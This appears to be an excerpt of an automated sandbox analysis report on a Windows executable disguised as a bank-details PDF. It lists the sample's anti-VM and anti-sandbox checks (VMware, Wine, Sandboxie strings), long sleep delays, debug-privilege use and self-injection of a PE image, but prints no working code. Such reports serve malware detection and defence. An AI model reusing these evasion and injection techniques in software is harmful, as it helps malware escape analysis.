Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: Detalles del banco.pdf.exe PID: 6408, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe TID: 6484	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe TID: 7132	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe TID: 7132	Thread sleep time: -1980000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Code function: 11_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

11_2_00403D74

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Detalles del banco.pdf.exe, 00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Code function: 11_2_0040317B mov eax, dword ptr fs:[00000030h]

11_2_0040317B

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Code function: 11_2_00402B7C GetProcessHeap,RtlAllocateHeap,

11_2_00402B7C

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Memory written: C:\Users\user\Desktop\Detalles del banco.pdf.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process created: C:\Users\user\Desktop\Detalles del banco.pdf.exe {path}			Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Process created: C:\Users\user\Desktop\Detalles del banco.pdf.exe {path}			Jump to behavior

Source: Detalles del banco.pdf.exe, 0000000B.00000002.609608382.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: Detalles del banco.pdf.exe, 0000000B.00000002.609608382.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: Detalles del banco.pdf.exe, 0000000B.00000002.609608382.0000000001810000.00000002.00000001.sdmp	Binary or memory string: &Program Manager
Source: Detalles del banco.pdf.exe, 0000000B.00000002.609608382.0000000001810000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Users\user\Desktop\Detalles del banco.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
